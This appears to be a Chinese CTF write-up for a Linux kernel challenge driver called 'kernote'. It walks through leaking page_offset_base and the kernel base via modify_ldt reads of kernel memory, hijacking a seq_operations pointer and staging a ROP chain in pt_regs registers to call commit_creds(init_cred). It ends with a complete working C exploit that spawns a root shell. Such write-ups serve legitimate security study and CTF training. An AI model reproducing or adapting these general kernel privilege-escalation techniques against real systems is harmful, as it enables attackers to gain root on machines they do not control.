Step I. 泄露 page_offset_base 和解法一相同,利用 read_ldt() 与 copy 系函数不会引起 kernel panic 的特性爆破内核的“堆”区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct user_desc desc ;size_t page_offset_base = 0xffff888000000000 ;int retval; chunkSet(0 ); chunkDel(0 ); syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc));while (1 ) { chunkEdit(page_offset_base); retval = syscall(SYS_modify_ldt, 0 , &desc, 8 ); if (retval >= 0 ) break ; page_offset_base += 0x2000000 ; }
Step II. 泄露内核基址 这一步和解法一的 step II 相同,不同的是笔者在这一步通过子进程获取到内核“堆”上数据后并非用以搜索 task_struct 地址,而是尝试找到属于内核的函数指针,以此泄露内核基址
经过笔者调试发现 内核基址 + 0x40
这个地址经常在内核“堆”一开头不远的地方就会出现(尚未验证具体为何指针),故笔者选择以该数据来计算内核基址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 while (1 ) { chunkEdit(search_addr); retval = fork(); if (!retval) { syscall(SYS_modify_ldt, 0 , buf, 0x8000 ); for (int i = 0 ; i < 0x1000 ; i++) { if (buf[i] > 0xffffffff81000000 && (buf[i] & 0xfff ) == 0x040 ) { kernel_base = buf[i] - 0x040 ; kernel_offset = kernel_base - 0xffffffff81000000 ; printf ("\033[32m\033[1m[+] Found kernel base: \033[0m%lx\n" , kernel_base); printf ("\033[32m\033[1m[+] Kernel offset: \033[0m%lx\n" , kernel_offset); } } write(pipe_fd[1 ], &kernel_base, 8 ); exit (0 ); } wait(NULL ); read(pipe_fd[0 ], &kernel_base, 8 ); if (kernel_base) break ; search_addr += 0x8000 ; }
经笔者本地多次实验,这个地址总会出现在内核“堆”的 0x9d000 偏移处 ,或许我们总能从该地址稳定地泄露出内核的基址?
Step III. 利用 seq_operations + pt_regs 结构体完成稳定化 ROP 进行提权
参照了今年的冠军战队 Organizers 的 WP ,十分美妙的一种解法!
现在有了内核基址,我们又能分配 0x20 大小的 object,这个大小有个结构体相信大家都十分熟悉——seq_operations
1 2 3 4 5 6 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
其 start
指针既是我们可以控制的,也是我们可以触发的 ,我们只需要打开 /proc/self/stat
文件进行读取即可触发该指针,这让我们很轻松地就能控制内核执行流
接下来我们来考虑如何仅使用一个指针便能完成 ROP 的流程,这里需要用到一个叫做 pt_regs 的结构体,该结构体的定义 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 struct pt_regs { unsigned long r15; unsigned long r14; unsigned long r13; unsigned long r12; unsigned long rbp; unsigned long rbx; unsigned long r11; unsigned long r10; unsigned long r9; unsigned long r8; unsigned long rax; unsigned long rcx; unsigned long rdx; unsigned long rsi; unsigned long rdi; unsigned long orig_rax; unsigned long rip; unsigned long cs; unsigned long eflags; unsigned long rsp; unsigned long ss; };
这是一个十分有趣的结构体,我们观察到其各字段命名使用的全都是寄存器的名称 ,这是因为该结构体与系统调用的流程有关,内核中处理系统调用的入口函数为 entry_SYSCALL_64
,其源码中有着这样一条指令 :
1 PUSH_AND_CLEAR_REGS rax =$-ENOSYSCopy
这是一条十分有趣的指令,它会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体 ,该结构体实质上位于内核栈底:
[ ](
我们不难想到的是,当我们劫持内核结构体中的某个函数指针时,在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的
而在系统调用当中过程有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们布置 ROP 链提供了可能,我们不难想到:
只需要寻找到一条形如 “add rsp, val ; ret” 的 gadget 进行栈迁移便能够完成 ROP
FINAL EXPLOIT 最终的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 #define _GNU_SOURCE #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/wait.h> #include <asm/ldt.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <ctype.h> #define INIT_CRED 0xffffffff8266b780 #define PREPARE_KERNEL_CRED 0xffffffff810ca2b0 #define COMMIT_CREDS 0xffffffff810c9dd0 #define POP_RDI_RET 0xffffffff81075c4c #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00fb0 size_t init_cred;size_t prepare_kernel_cred;size_t commit_creds;size_t pop_rdi_ret;size_t swapgs_restore_regs_and_return_to_usermode;long kernote_fd;long seq_fd;void errExit (char * msg) { printf ("\033[31m\033[1m[x] %s \033[0m\n" , msg); exit (EXIT_FAILURE); }void chunkSet (int index) { ioctl(kernote_fd, 0x6666 , index); }void chunkAdd (int index) { ioctl(kernote_fd, 0x6667 , index); }void chunkDel (int index) { ioctl(kernote_fd, 0x6668 , index); }void chunkEdit (size_t data) { ioctl(kernote_fd, 0x6669 , data); }void chunkFuck (void ) { ioctl(kernote_fd, 0x666A ); }int main (int argc, char ** argv, char ** envp) { struct user_desc desc ; size_t page_offset_base = 0xffff888000000000 ; size_t temp; int retval; size_t kernel_base; size_t kernel_offset; size_t search_addr; size_t per_search_addr; size_t *result_addr; int cur_pid; size_t *buf; int pipe_fd[2 ] = {0 }; cpu_set_t cpu_set; printf ("\033[34m\033[1m[*] Start to exploit... \033[0m\n" ); desc.base_addr = 0xff0000 ; desc.entry_number = 0x8000 / 8 ; desc.limit = 0 ; desc.seg_32bit = 0 ; desc.contents = 0 ; desc.limit_in_pages = 0 ; desc.lm = 0 ; desc.read_exec_only = 0 ; desc.seg_not_present = 0 ; desc.useable = 0 ; kernote_fd = open("/dev/kernote" , O_RDWR); chunkAdd(0 ); chunkSet(0 ); chunkDel(0 ); syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc)); while (1 ) { chunkEdit(page_offset_base); retval = syscall(SYS_modify_ldt, 0 , &temp, 8 ); if (retval >= 0 ) break ; page_offset_base += 0x4000000 ; } printf ("\033[32m\033[1m[+] Found page_offset_base: \033[0m%p\n" , page_offset_base); pipe(pipe_fd); buf = (size_t *) mmap(NULL , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); search_addr = page_offset_base; kernel_base = 0 ; while (1 ) { chunkEdit(search_addr); retval = fork(); if (!retval) { syscall(SYS_modify_ldt, 0 , buf, 0x8000 ); for (int i = 0 ; i < 0x1000 ; i++) { if (buf[i] > 0xffffffff81000000 && (buf[i] & 0xfff ) == 0x040 ) { kernel_base = buf[i] - 0x040 ; kernel_offset = kernel_base - 0xffffffff81000000 ; printf ("\033[32m\033[1m[+] Found kernel base: \033[0m%p\n" , kernel_base); printf ("\033[32m\033[1m[+] Kernel offset: \033[0m%p\n" , kernel_offset); } } write(pipe_fd[1 ], &kernel_base, 8 ); exit (0 ); } wait(NULL ); read(pipe_fd[0 ], &kernel_base, 8 ); if (kernel_base) break ; search_addr += 0x8000 ; } kernel_offset = kernel_base - 0xffffffff81000000 ; chunkAdd(1 ); chunkSet(1 ); chunkDel(1 ); seq_fd = open("/proc/self/stat" , O_RDONLY); chunkEdit(0xffffffff817c21a6 + kernel_offset); printf ("Hijack to: %p\n" , 0xffffffff817c21a6 + kernel_offset); sleep(2 ); pop_rdi_ret = POP_RDI_RET + kernel_offset; init_cred = INIT_CRED + kernel_offset; commit_creds = COMMIT_CREDS + kernel_offset; swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset + 10 ; __asm__( "mov r15, 0xbeefdead;" "mov r14, 0x11111111;" "mov r13, pop_rdi_ret;" "mov r12, init_cred;" "mov rbp, commit_creds;" "mov rbx, swapgs_restore_regs_and_return_to_usermode;" "mov r11, 0x66666666;" "mov r10, 0x77777777;" "mov r9, 0x88888888;" "mov r8, 0x99999999;" "xor rax, rax;" "mov rcx, 0xaaaaaaaa;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" ); if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); exit (-1 ); } puts ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" ); system("/bin/sh" ); return 0 ; }
运行即可完成稳定化提权